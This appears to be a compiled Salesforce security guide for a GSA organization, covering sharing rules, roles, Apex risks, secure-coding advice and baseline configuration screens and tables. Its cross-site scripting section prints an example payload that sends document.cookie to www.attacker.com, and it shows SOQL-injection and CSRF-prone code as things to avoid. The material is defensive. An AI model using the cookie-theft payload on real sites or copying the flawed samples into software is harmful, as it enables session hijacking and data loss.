All users can view, edit, transfer, delete, and report on all records. This is
only available for campaigns.

Sharing Rules

» Sharing rules are used to grant exception to access restrictions and should be kept to a

minimum.

» Too many sharing rules become hard to understand and difficult to audit.

» Once granted, it may become challenging to later remove the sharing role.

A sharing rule consists of three components, the owner of the rule, with whom to grant access, and

what access to grant.
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For the owner and with whom to grant access, one or more of the following types may be specified...

Type Description
Public Groups All public groups defined by your administrator.
Roles All roles defined for your organization. This includes all of the users in that

role.

Roles and Subordinates

This includes all of the users in the role plus all of the users in roles below
that role.

The following access levels are available Salesforce...

Access Level Description

Full Access User can view, edit, delete, and transfer the record. User can also extend
sharing access to other users; however, the user cannot grant Full Access to
other users.

Read/Write User can view and edit the record, and add associated records, notes, and
attachments to the record.

Read Only User can view the record, and add associated records to it. They cannot edit
the record or add notes or attachments.

Private User cannot access the record in any way.

Roles

A role in Salesforce CRM correlates to the organizational chart and each user can only be assigned to a
single role. Roles are used by the sharing settings to control access to records. The default sharing rules

follow the role hierarchy and users higher in the hierarchy automatically inherit the privileges of the

subordinate roles. A Sample Role Hierarchy can be viewed below:

* View & edit data, roll up
3 for all users below
CEO President CFO VP, Sales | « Cant access data of other
Executive Stalt

'4 h

VP Hardware VP Software

Division

B
L

Software

Sales Rep Sales Rep Sales Rep
PC Sales Rep Office Networking
Software Rep Sales Rep
Peripherals
Sales Rep Education
Software Rep

Networking

*View & edt data
roll up forecasts, &

AL DT ALTY  generate reports for
(| -9) VP, Networking

all users directly
below

* Can't access data
of users above or at
same level

*View & edit data
roll up forecasts,
& generate repors
only for own data

* Can'f access data of
users above or at
same level

By default, the role hierarchy is not used because the default sharing settings are Public Read/Write.

Once more restrictive sharing settings are enabled (such as a private model) the roles and role

hierarchies are the primary criteria used to control data access.
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APEX AND VISUALFORCE

The Apex language and Visualforce markup languages provide the ability to customize Salesforce CRM.
This presents several potential security risks that should be monitored. Apex and Visualforce pages can
have many of the same security vulnerabilities as any web application might have and should be
reviewed in the same way other internal web applications are reviewed. Apex code can also bypass all of
the data privacy restrictions previously discussed.

Apex and Data Privacy

An important feature of Apex is that, by default, it runs with full system privileges. The user’s profile-
based permissions, field-level security, and sharing rules are not taken into account during script
execution. Security must be enforced by the author of the Apex Code.

Apex Security Controls
Apex can be used to create both classes and triggers.

Triggers

> Triggers do not have any additional security controls and are always run, regardless of the user
currently logged in.

Classes

> Salesforce provides the ability to restrict access to run a class based on the user’s profile.

Creation of Apex Classes

Apex classes can be created by any user with the Author Apex permission. By default, only the
Administrator profile has this permission. However, users can be granted this permission or
Salesforce CRM administrators can install code written by internal or external developers.

Recommendations
Review all Apex code closely before deploying it. Developers writing Apex should be trained in secure
coding practices.





AUDIT FEATURES

User Login History
All successful and failed login attempts are recorded and saved for 180 days.

Setup Audit Trail
Every configuration (Setup) change is logged and archived for 180 days.

Object History Tracking

Each time a user modifies one of the tracked fields, an entry is added to the History Related List on the
object, showing the time, user, and the change made. By default, no specific fields are tracked until
activated by the administrator.

> Because many organizations are required to retain audit logs for more than 180 days, it is
recommended that audit logs are periodically downloaded and stored on a local server.

FORCE.COM AppExchange

> All AppExchange applications are checked for security flaws by Salesforce.com.
» Salesforce.com reviews AppExchange applications annually.
» The packaging of the AppExchange applications depends on whether data is shared between

Salesforce and a third-party.

Native Packages

Native applications consist of only Salesforce CRM entities such as custom objects, reports, workflows,
Apex classes, or Visualforce pages. When native applications are installed, no data is sent to a third-
party site.

Composite Package

Composite applications include a combination of native features as well as connections to and/or from a
third-party data center. Data is typically shared between Salesforce CRM and the database of the
company providing the application.

Although AppExchange applications are reviewed by Salesforce.com, they are not covered by the GSA
authorization. Any AppExchange application must be authorized by GSA prior to being implemented by
any application.





SALESFORCE SECURITY - BEST PRACTICES FOR INCREASED
SECURITY

Salesforce provides a number of features to secure an organization’s data from unauthorized access.

Often times, the simple practices prove most beneficial. Salesforce also reviews any application to be
listed on AppExchange. The application must adhere to the guidelines, set by Salesforce.

SIMPLE PRACTICES FOR INCREASED SECURITY

Implement IP Restrictions in Salesforce (single most effective practice.)
Strengthen Password Policies.
Require Secure Sessions.

YV V V VY

Decrease Session Timeouts Thresholds.

CODE REVIEW

Security Review Requirements
Before an app is listed on AppExchange, it needs to pass a Salesforce.com Security review. The following
guidelines are set by Salesforce and should be followed to meet the security requirements.

Cross-site Scripting

Cross-site scripting (XSS) attacks exploit vulnerabilities in web-based applications that do not adequately
validate or encode input that is embedded in response data. Malicious users can then inject client-side
script into response data, causing the user’s browser to execute the script code.

> Do not use Visualforce merge variables or SCurrentPage.parameters directly in Javascript.

<script>var foo = '{!Board.Message Posting c}';</script>
<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

Malicious code can be executed if Message Posting c were to contain:

“1';document.location="http://www.attacker.com/cgi-
bin/cookie.cgi?'%$2Bdocument.cookie;var%20foo="2"

» Use encoding functions, such as JSENCODE, JSINHTMLENCODE, SUBSTITUTE, HTMLENCODE.

<script>var foo *{ ! JSENCODE (Board.Message Posting c¢)}';</script>

<script>var foo ' { | JSENCODE ($CurrentPage.parameters.userparam) }';</script>





SOQL Injection

» Use static SOQL syntax, whenever applicable.
» Use “bind” variables when using Dynamic SOQL.

String gryString = 'SELECT Id FROM Contact WHERE (IsDeleted = false
and Name like \'$' + name + '%\')'; //Prone to SOQL Injection
String gryString = 'SELECT Id FROM Contact WHERE (IsDeleted = false

and Name like :nameParam)'; //Prevents SOQL Injection

Cross-site Request Forgery

Cross-site forgery, also known as one click attack, or session riding is a type of malicious exploit of
websites.

» Do not perform DML operations in the constructor process of the Apex controller.
<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {

public void init () {
Id id = ApexPages.currentPage () .getParameters().get ('id'");
Account obj = [select id, Name FROM Account WHERE id = :id];

delete obj; // AVOID THIS

return ;

Data Access Control

» Always use “with sharing” in Apex classes to honor sharing settings and rules that prevent
unauthorized access to data.

» If using “system mode” for Apex controller code, ensure there are additional constraints on the
SOQCL statement to limit access to what the user is entitled to view.

» Setup Org level sharing model with appropriate sharing settings

14





Sensitive Data
Sensitive data includes information, such as user credentials, account numbers, credit card numbers,

any non-public information, etc.
Cookies
» Do not store sensitive data in cookies.
Password Storage
> Do not store passwords in plaintext or encrypted format.
Exceptions

» When an exception occurs, display concise messages to the user and log specific details in debug
logs.
> Do not reveal internal system or application details.

OWASP CODING STANDARDS — SDLC CONSIDERATIONS

The Open Web Application Security Project (OWASP) is a not-for-profit worldwide organization focused
on improving the security of application software. OWASP does not endorse or recommend commercial
products or services, allowing the community to remain vendor agnostic, with the collective wisdom of

the best minds in application security worldwide. OWASP strongly recommends following the practices

described below.

DATABASE SECURITY

Database security practices are intended to prevent any unauthorized access to an organization’s
persisted data.

» Use strongly typed parameterized queries. Parameterized queries keep the query and data
separate through the use of placeholders.

» Utilize input validation and if validation fails, do not run the database command.

» Escape meta characters in SQL statements.

» The application should use the lowest possible level of privilege when accessing the database.

» Use secure credentials for database access.

» Do not provide connection strings or credentials directly to the client. If this is unavoidable,
encrypted them.

» Use stored procedures to abstract data access.

> Disable any default accounts that are not required to support business requirements.

» Close the connection as soon as possible.

» The application should connect to the database with different credentials for every trust

distinction (e.g., user, read-only user, guest, administrators).
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DEVELOP SECURITY GUIDANCE STANDARDS AND DOCUMENTS

Each organization should incorporate security guidance standards into their standard operating
procedures. The standards should include both policies and coding standards. These standards should
be documented and enforced.

SUPPORT SECURE DEVELOPMENT LIFECYCLE

A secure development lifecycle describes a repeatable process to implement security requirement.

Gather Security
Requirments

Design Solution to
be consistent with
Deploy Solution the organization's

security guidance

standards

Test Solution Develop Solution

CONTRACTED DEVELOPMENT

The security guidance standards should describe policies for any software development project that is
outsourced. The policies should be included in both the RFP and the contract.

WANT TO LEARN MORE?

Review many of the security-related settings. The following link describes both their default values and
the values recommended by Salesforce.com Information Security.

o http://wiki.developerforce.com/images/d/db/Security-cheatsheet.pdf

Review the basic requirements for secure cloud computing. The following link provides a comprehensive
introduction to the inherent security and privacy features of the Force.com enterprise cloud computing
platform as well as platform features application providers can in turn use to build and secure their
applications and customer data.

16
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o http://wiki.developerforce.com/index.php/Secure Private Trustworthy Force.com Whitepaper

Review common design decisions when building or integrating with Force.com.

o http://wiki.developerforce.com/index.php/Security Desigh Resources

Review the most common security issues Salesforce.com has identified while auditing applications built
on or integrated with Force.com. The following link takes into account that many of our developers
write integration pieces with the Force.com platform and includes examples from other web platforms
such as Java, ASP.NET, PHP and Ruby on Rails. The Force.com platform provides full or partial protection
against many of these issues.

o http://wiki.developerforce.com/index.php/Secure Coding Guideline

ESAPI (The OWASP Enterprise Security API) is a free, open source, web application security control
library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are
designed to make it easier for programmers to retrofit security into existing applications or build a solid
foundation for new development. The following link describes the Force.com implementation of the
ESAPI library is designed and customized for the security needs of the Force.com platform.

o http://code.google.com/p/force-dot-com-esapi/

The Force.com Security Source Code Scanner provides developers of the Force.com platform
information regarding the security of their code (specifically Apex and Visualforce) through next
generation static analysis tools. The source scanner is available at the following link.

o http://security.force.com/sourcescanner

The Web Application Security Scanner is an integrated testing platform that can combine manual and
automated techniques to enumerate, analyze, scan, attack and exploit security vulnerabilities in web
applications. The app scanner is available at the following link.

o http://security.force.com/webappscanner

A detailed description of the Salesforce security features is available at the following link.

o https://na3.salesforce.com/help/doc/en/salesforce security impl guide.pdf

The Security Health Check will check security-related settings and make recommendations for areas to
improve your Salesforce CRM security and limit data loss.

o http://appexchange.salesforce.com/listingDetail?listingld=a0ON300000018mjUEAQ

A brief overview of Force.com Secure Cloud Development is available at the following link.

o http://wiki.developerforce.com/index.php/About Security
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http://wiki.developerforce.com/index.php/Secure_Private_Trustworthy_Force.com_Whitepaper

http://wiki.developerforce.com/index.php/Security_Design_Resources

http://wiki.developerforce.com/index.php/Secure_Coding_Guideline

http://code.google.com/p/force-dot-com-esapi/

http://security.force.com/sourcescanner

http://security.force.com/webappscanner

https://na3.salesforce.com/help/doc/en/salesforce_security_impl_guide.pdf

http://appexchange.salesforce.com/listingDetail?listingId=a0N300000018mjUEAQ

http://wiki.developerforce.com/index.php/About_Security



Review many of the security-related settings describing both their default values and the
values recommended by Salesforce.com Information Security. A CRN Security cheat sheet is available at

the following link.

o http://wiki.developerforce.com/images/4/44/Salesforce CRM Security Cheat Sheet.PDF

REFERENCES

Salesforce CRM Security Audit Guide.pdf
Acumen Solutions Code Review — Apex Standards

http://trust.salesforce.com/trust/security/best practices/
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Salesforce Organization Baseline Security Configuration Settings Reference Guide

This reference guide provides GSA Organization system administrators a series of Salesforce screenshots that can be used when applying Organization baseline security configuration settings.  Once an administrator is logged on to the Force.com homepage, the Administration Setup menu is displayed on the left hand side of the screen.   Using the links below, system administrators can view the configurable security screens and the navigation path to reach each screen.  

The following screens are addressed in this reference guide:    

· Screen 1 – Force.com Homepage 

· Screen 2 –  Assign User Profile

· Screen 3 – Assign Permission Sets

· Screen 4 – Assign Permission Sets 

· Screen 5 – Edit Profiles

· Screen 6 – Sharing Settings

· Screen 7 – Password Policies

· Screen 8 – Session Settings

· Screen 9 – Login Access Policies

· Screen 10 – Single Sign-On Settings

· Screen 11 – Manage Delegated Groups

· Screen 12 – HTML Documents and Attachments

· Screen 13 – Chatter Desktop Settings

· Screen 14 – Email Administration Deliverability

· Screen 15 – Identity Provider

It is the responsibility of the system Information System Security Officer (ISSO) to ensure periodic monitoring of the configuration settings at the Organization level.  





[bookmark: Screen_1]
Screen 1 – Force.com Homepage



The Administration Setup menu is where access and authorization security control parameters are located.    



To access the Administration Setup menu go to the Force.com Homepage.  Click on your name at the top right of the screen and choose “Setup.”  The Administration menu will be located on the left side of the screen.  
 



[image: H:\Salesforce\Salesforce1.JPG]












[bookmark: Screen_2]Screen 2 – Assign a User Profile

A user profile contains the settings and permissions that control what users can do within Salesforce. A user Profile is assigned on the New User page.  

To access the New User page go to:  Administration Setup/Manage Users/Users and hit the New User button at the center top of the screen.  The New User screen contains the "Profile" setting where an administrator will assign a user profile.  Note: A user can only have one Profile. 

  

[image: ]
















[bookmark: Screen_3]Screen 3 – Assign Permission Sets

A permission set is a collection of settings and permissions that give users access to various tools and functions. Permission sets extend a user’s functional access without changing their profile.     While users can only have one Profile, they can have multiple permission sets.

Permission sets are assigned on the Permission Sets page. To access the Permission Sets page go to:  Administration Setup/Permission Sets.  



[image: ]














[bookmark: Screen_4]Screen 4 – Assign users to Permission Sets

Permission sets can be assigned to users for access to applications. This is accomplished on the Permission Sets page by clicking on “Assigned Users.”  Permission sets can be cloned using this page as well.
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[bookmark: Screen_5]Screen 5 – Edit Profiles

This screen can be used to view, edit, or delete established Profiles.  A system administrator can also choose the “New Profile” button to select an existing Profile to clone from.

To edit Profiles go to: Administration Setup/Manage Users/Profiles.
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[bookmark: Screen_6]Screen 6 – Sharing Settings

Sharing Settings allows you to define access to data at many different levels. For example, you can control the access your users have to objects with object permissions. Within objects, you can control the access users have. 

To access Sharing Settings go to: Administration Setup/Security Controls/ Sharing Settings. 



[image: ]










[bookmark: Screen_7]Screen 7 – Password Policies

The password policies and login lockout policies for all users are set on this screen.  These settings are the GSA authorized policy settings and must not be changed. 

To access Password Policies go to: Administration Setup/Security Controls/Password Policies.



[image: ]
















[bookmark: Screen_8]Screen 8 – Session Settings

Session security and session expiration timeout for the GSA Organization is set here. These settings are the GSA authorized policy settings and must not be changed. 

To access this page go to: Administration Setup/Security Controls/Session Settings.
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[bookmark: Screen_9]Screen 9 – Login Access Policies

Login Access Policies helps to control which support organizations users can grant login access to.  These settings are the GSA authorized policy settings and must not be changed. 

To access this page, go to: Administration Setup/Security Controls/Login Access Policies.
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[bookmark: Screen_10]Screen 10 – Single Sign-On Settings

Single sign-on is configured in order to authenticate GSA users in Salesforce.  Single Sign-On settings must be coordinated with the Active Directory Team via a Service Desk Ticket.

To access this page go to:  Administration Setup/Security Controls/Single Sign-On Settings.



[image: H:\Salesforce\Salesforce11.JPG]












[bookmark: Screen_11]Screen 11 – Manage Delegated Groups

This screen allows for the delegation of limited administrative privileges to selected non-administrator users.  Delegation can include user administration or custom object administration or both.  

To access this page go to: Administration Setup/Delegated Administration/Manage Delegated Groups and click the “New” button. 
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[bookmark: Screen_12]Screen 12 – HTML Documents and Attachments

This screen setting disallows HTML documents and attachments.  The setting is the GSA authorized policy setting and must not be changed. 

To access the screen go to:  Administration Setup/Security Controls/HTML Documents and Attachments Settings.
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[bookmark: Screen_13]Screen 13 – Chatter Desktop Settings

This screen allows the system administrator to give users access to Chatter data from Chatter Desktop and prevents non-administrators from installing Chatter Desktop.  

To access these screens go to: Administration Setup/Desktop Administration/Chatter Desktop Settings.
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[bookmark: Screen_14]Screen 14 – Email Administration Deliverability

These settings improve the deliverability of email.  The Transport Layer Security (TLS) setting is the GSA authorized policy setting and must not be changed. Any changes desired on this page must be coordinated with the GSA Email team.

To access this screen go to: Administration Setup/Email Administration/Deliverability.



[image: H:\Salesforce\Salesforce15.JPG]






[bookmark: Screen_15]Screen 15 – Identity Provider

This screen can be configured to allow users to switch to different service providers without having to log in. This is currently the GSA authorized policy setting and must not be changed.

To access this screen go to: Administration Setup/Security Controls/Identity Provider.



[image: ]
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Roles

		Roles

		Configuration Family		Config Area		Sub-Group		Sample Role Hierarchy		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Manage Users		Roles		Territory-based; Product-based; Company Size-based		Role Edit		Role Name

												This role reports to		GSA OCIO ELA Org; GSA Portal

												Role Name as displyed on reports

												Opportunity Access		Users in this role can view all opportunities associated with accounts that they own, regardless of who owns the opportunities; Users in this role can edit all opportunities associated with accounts that they own, regardless of who owns the opportunities





Profiles

		Profiles

		Configuration Family		Config Area		Sub-Group		Action		Page Block		Available Config Options		Config Option Values		Acumen Recommended Configuration

		Administration Setup		Manage Users		Profiles		New Profile		You must select an existing profile to clone from.		Existing Profile		Chatter Free User; Chatter Moderator User; Contract Manager; Marketing User; Overage Authenticated Website; Overage High Volume Customer Portal; Read Only; Solution Manager; Standard Platform User; Standard User; System Administartor

												User License		Chatter Free; Salesforce; Overage Authenticated Website; Overage High Volume Customer Portal; Salesforce Platform

												Profile Name





Sharing Settings

		Sharing Settings

		Configuration Family		Config Area		Sub-Group		Page Block		Object		Default Access		Grant Access Using Hierarchies		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Sharing Settings		Organization-wide Defaults		Lead		Public Read/Write/Transfer		X		Private; Public Read Only; Public Read/Write; Public Read/Write/Transfer

								"		Account, Contract and Asset		Public Read/Write		X		Private; Public Read Only; Public Read/Write

								"		Contact		Controlled by Parent		X		Controlled by Parent; Private; Public Read Only; Public Read/Write

								"		Opportunity		Public Read Only		X		Private; Public Read Only; Public Read/Write

								"		Case		Public Read/Write/Transfer		X		Private; Public Read Only; Public Read/Write; Public Read/Write/Transfer

								"		Campaign		Public Full Access		X		Private; Public Read Only; Public Read/Write; Public Full Access

								"		Activity		Private		X		Controlled by Parent; Private;

								"		Calendar		Hide Details and Add Events		X		Hide Details; Hide Details and Add Events; Show Details; Show Details and Add Events

								"		Price Book		Use		X		No Access; View Only; Use

								"		Ad Group		Public Read/Write		X		Private; Public Read Only; Public Read/Write

								"		Google Campaign		Public Read/Write		X		Private; Public Read Only; Public Read/Write

								"		Keyword		Public Read/Write		X		Private; Public Read Only; Public Read/Write

								"		Search Phrase		Public Read/Write		X		Private; Public Read Only; Public Read/Write

								"		SFGA Version		Public Read/Write		X		Private; Public Read Only; Public Read/Write

								"		Text Ad		Public Read/Write		X		Private; Public Read Only; Public Read/Write

										Custom Object		Public Read/Write		X		Private; Public Read Only; Public Read/Write







































































































































































Field Accessibility

		Field Accessibility

		Configuration Family		Config Area		Sub-Group		Field		Profiles		Field Access		Acumen Recommended Configuration

		Administration Setup		Security Controls		Field Accessibility		Account Name		Contract Manager; Marketing User; Overage High Volume Customer Portal; Read Only; Solution Manager; Standard Platform User; Standard User; System Administartor		Hidden; Editable; Required; Read-Only

								Account Number		"		"

								Account Owner		"		"

								Account Site		"		"

								Annual Revenue		"		"

								Billing Address		"		"

								Created By		"		"

								Customer Portal Account		"		"

								Description		"		"

								Employees		"		"

								Fax		"		"

								Industry		"		"

								Last Modified By		"		"

								Ownership		"		"

								Parent Account		"		"

								Phone		"		"

								Rating		"		"

								Shipping Address		"		"

								SIC Code		"		"

								Ticker Symbol		"		"

								Type		"		"

								Website		"		"





Password Policies

		Password Policies

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Password Policies		Password Policies		User passwords expire in		30 days; 60 days; 90 days; 180 days; One Year; Never expires

								"		Enforce password history		No passwords remembered; 1 password remembered; 2 passwords remembered;  3 passwords remembered; 4 passwords remembered; 5 passwords remembered; 6 passwords remembered; 7 passwords remembered; 8 passwords remembered; 9 passwords remembered; 10 passwords remembered; 11 passwords remembered; 12 passwords remembered; 13 passwords remembered; 14 passwords remembered; 15 passwords remembered

								"		Minimum password length		5 characters; 8 characters; 10 characters

								"		Password complexity requirement		No restriction; Must mix alpha and numeric

								"		Password question requirement		None; Cannot contain password

								"		Maximum invalid login attempts		3; 5; 10; No Limit

								"		Lockout effective period		15 minutes; 30 minutes; 60 minutes; Forever (must be reset by admin)

								Forgot Password / Locked Account Assistance		Message

								"		Help link

								API Only User Settings		Alternative Home Page





Session Settings

		Session Settings

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Session Settings		Session Timeout		Timeout value		8 hours; 4 hours; 2 hours; 1 hour; 30 minutes; 15 minutes

								"		Disable session timeout warning popup.

								Session Settings		Lock sessions to the IP address from which they originated.

								"		Require secure connections (HTTPS)

								"		Force relogin after Login-As-User

								Login Page Caching and Autocomplete		Enable caching and autocomplete on login page





Network Access

		Network Access

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Network Access		Trusted IP Ranges		Start IP Address

										End IP Address

										ISP

										Organization

										Geography





Package Support Access

		Package Support Access

		Configuration Family		Config Area		Sub-Group		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Package Support Access		Date





Certificate and Key Management

		Certificate and Key Management

		Configuration Family		Config Area		Sub-Group		Page Block		Buttons		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Certificate and Key Management		Certificates		Create Self-Signed Certificate		Label

										"		Unique Name

										"		Type

										"		Key Size		1024; 2048

										Create CA-Signed Certificate		Label

										"		Unique Name

										"		Type

										"		Key Size		1024; 2048

										"		Common Name

										"		Company

										"		Department

										"		City

										"		State

										"		Country Code















Single Sign-On Settings

		Single Sign-On Settings

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Single Sign-On Settings		Federated single sign-on using SAML		SAML Enabled





Identity Provider

		Identity Provider

		Configuration Family		Config Area		Sub-Group		Page Block		Button		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Identity Provider		Identity Provider Setup		Enable Identity Provider				<Created certificate, if exists>; Create a new certificate...

								Service Providers				Name

								"				ACS URL

								"				Subject Type		Username; Federation ID

								"				Service Provider Certificate

								"				Entity Id



















View Setup Audit Trail

		View Setup Audit Trail

		Configuration Family		Config Area		Sub-Group		Page Block		Field

		Administration Setup		Security Controls		View Setup Audit Trail		View Setup Audit Trail		Date

										User

										Action

										Section

										Delegate User













Expire All Passwords

		Expire All Passwords

		Configuration Family		Config Area		Sub-Group		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Expire All Passwords		Expire all user passwords





























Delegated Administration

		Delegated Administration

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Delegated Administration		Delegated Groups		Delegated Group Name

										Enable Group for Login Access





Remote Site Settings

		Remote Site Settings

		Configuration Family		Config Area		Sub-Group		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		Remote Site Settings		Remote Site Name

								Remote Site URL

								Disable Protocol Security

								Description

								Active





HTML Documents and Attachments

		HTML Documents and Attachments Settings

		Configuration Family		Config Area		Sub-Group		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Security Controls		HTML Documents and Attachments Settings		Disallow HTML documents and attachments





Portal Health Check

		Portal Health Check

		Configuration Family		Config Area		Sub-Group		Page Block		Report		Available View Options		Acumen Recommended View Options

		Administration Setup		Security Controls		Portal Health Check		What are Portal Health Check Reports?		Administrative and User Permissions		All Portal Profiles; All Customer Portal Profiles; All Partner Portal Profiles

										Object Access and Field-Level Security		All Objects; All Standard Objects; All Custom Objects

										Sharing Organization-Wide Defaults		All Objects; All Standard Objects; All Custom Objects; Leads; Accounts; Contacts; Opportunities; Cases; Campaigns; Activities; Calendars; Price Books

										Sharing Rules		All Objects; All Standard Objects; All Custom Objects





Configurations

		Configurations

		Configuration Family		Config Area		Sub-Config Area		Sub-Group		Page Block		Page Block Section		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Mobile Administration		Salesforce Mobile		Configurations		Mobile Configuration Edit		Basic Information		Name

												"		Active

												"		Description

												"		Mobilize Recent Items

												"		Mobilize Followed Records

												Assign Users and Profiles		Available Members

												"		Assigned Members

												Set Data Size Limit		Don't sync if data size exceeds:		No Limit; 1 MB; 2 MB; 3 MB; 4 MB; 5 MB; 6 MB; 7 MB; 8 MB; 9 MB; 10 MB 





















Users and Devices (SF M.)

		Users and Devices

		Configuration Family		Config Area		Sub-Config Area		Sub-Group		Button		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Mobile Administration		Salesforce Mobile		Users and Devices		Erase Data

										Set Mobile Session Timeout		Set time interval (in minutes) for the mobile session timeout		--None--; Never Expire; 1; 5; 10; 20; 30; 40; 50; 60; 70; 80; 90; 100; 110; 120

										Delete Device





Settings (Salesforce Mobile)

		Settings

		Configuration Family		Config Area		Sub-Config Area		Sub-Group		Page Block		Page Block Section		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Mobile Administration		Salesforce Mobile		Settings		Salesforce Mobile Settings 		Standard Salesforce Mobile Settings		Enable Mobile Lite

												Advanced Salesforce Mobile Settings		Permanently Link User to Mobile Device





Settings (Chatter Mobile)

		Settings

		Configuration Family		Config Area		Sub-Config Area		Sub-Group		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Mobile Administration		Chatter Mobile		Settings		Enable Chatter Mobile

										Authorized Devices		Android; BlackBerry; iPad; iPhone

										Push Notifications		Enable Chatter Push Notifications

										Session Timeout		Never Expire; 1; 5; 10; 30





Users and Devices (Chatter M.)

		Users and Devices

		Configuration Family		Config Area		Sub-Config Area		Sub-Group		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Mobile Administration		Chatter Mobile		Users and Devices		User Name

										Application

										Activated



https://cs12.salesforce.com/_ui/core/mobile/setup/MobileChatterUsersAndDevicesPage/d?retURL=%2Fui%2Fsetup%2FSetup%3Fsetupid%3DMobileChatter&setupid=MobileChatterUsersAndDevices&lsi=3

Outlook Configurations

		Outlook Configurations

		Configuration Family		Config Area		Sub-Group		Button		Page Block		Page Block Section		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Desktop Administration		Outlook Configurations		New Outlook Configuration		Outlook Configuration Edit		Basic Information		Name

												"		Active

												"		Description

												"		Notify of product updates

												Assign Users and Profiles		Available Members

												"		Assigned Members

												Data Settings		Overwrite configuration changes made by users

												"		Add Email

												"		(Contacts) Sync Direction		Don't sync; Salesforce.com to Outlook; Sync both ways

												"		(Events) Sync Direction		Don't sync; Outlook to salesforce.com; Salesforce.com to Outlook; Sync both ways

												"		(Tasks) Sync Direction		Don't sync; Outlook to salesforce.com; Salesforce.com to Outlook; Sync both ways

												Advanced Settings		Add Advanced Setting



javascript:emailConfig.addAdvancedSetting%28%29%3B

Offline Briefcase Configuration

		Offline Briefcase Configurations

		Configuration Family		Config Area		Sub-Group		Button		Page Block		Page Block Section		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Desktop Administration		Offline Briefcase Configurations		New Offline Briefcase Configuration		Offline Briefcase Configuration Edit		Basic Information		Name

												"		Active

												"		Description

												Assign Users and Profiles		Available Members

												"		Assigned Members





Chatter Desktop Settings

		Chatter Desktop Settings

		Configuration Family		Config Area		Sub-Group		Button		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Desktop Administration		Chatter Desktop Settings		New Offline Briefcase Configuration		Offline Briefcase Configuration Edit		Enable Chatter Desktop 

												Allow Chatter Desktop Managed Installations Only 





Deliverability

		Deliverability

		Configuration Family		Config Area		Sub-Group		Page Block		Page Block Section		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Email Administration		Deliverability		Deliverability		Bounce Administration		Activate bounce management

										"		Show bounce alert next to all instances of the email address

										"		Return bounced emails to sender

										Email Security Compliance		Enable compliance with standard email security mechanisms

										"		Enable Sender ID compliance

										Mass Email		Notify sender when mass email completes

										Transport Layer Security (TLS)		TLS Setting		Preferred; Required; Preferred Verify; Required Verify

										"		Restrict TLS to these domains:





Organization-Wide Addresses

		Organization-Wide Addresses

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Email Administration		Organization-Wide Addresses		Organization-Wide Email Addresses		Display Name

										Email Address

										Allow All Profiles to Use this From Address

										Allow Only Selected Profiles to Use the From Address

										Profiles		System Administrator; Standard User; Read Only; Solution Manager; Marketing User; Contract Manager; Overage High Volume Customer Portal User; Standard Platform User; Overage Authenticated Website User





Compliance BCC Email

		Compliance BCC Email

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Email Administration		Compliance BCC Email		Compliance BCC Email		Enable

										Compliance BCC Email





Test Deliverability

		Test Deliverability

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Email Administration		Test Deliverability		Test Email Deliverablity		Email Address





Email to Salesforce

		Email to Salesforce

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Email Administration		Email to Salesforce		Email to Salesforce		Active

										Advanced Email Security Settings





Delete Attachments Sent as Link

		Delete Attachments Sent as Links

		Configuration Family		Config Area		Sub-Group		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Email Administration		Delete Attachments Sent as Links		Search by:

								Attachment Filename

								Sender's Username

								Start Date

								End Date

								Search by URL:





Email Footers

		Email Footers

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Email Administration		Email Footers		Default Footers		Default for Single Mail		None

								"		Default for Mass Mail		None

								All Footers / Organization-Wide Email Footer		Name

								"		Active for single email

								"		Active for mass email

								"		Email encoding		--None--; Unicode (UTF-8); General US & Europe (ISO-8859-1, ISO-LATIN-1); Japanese (Shift-JIS); Japanese (JIS); Japanese (EUC); Korean (ks_c_5601-1987); Traditional Chinese (Big5); Simplified Chinese (GB2312)

								"		Text of footer





Settings (Google Apps)

		Settings

		Configuration Family		Config Area		Sub-Group		Page Block		Field		Available Config Options		Acumen Recommended Configuration

		Administration Setup		Google Apps		Settings		Configure Google Apps Domain		Google Apps Administrative Contact

										Google Apps Domain
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[bookmark: _Toc289784630][bookmark: _Toc290638783]INTRODUCTION

Force.com provides a flexible, layered security framework that lets you share different data sets to different users. Application administrators can easily create profiles, roles, hierarchies and rules that are enforced in the user interface, reports, dashboards, search results and the API.

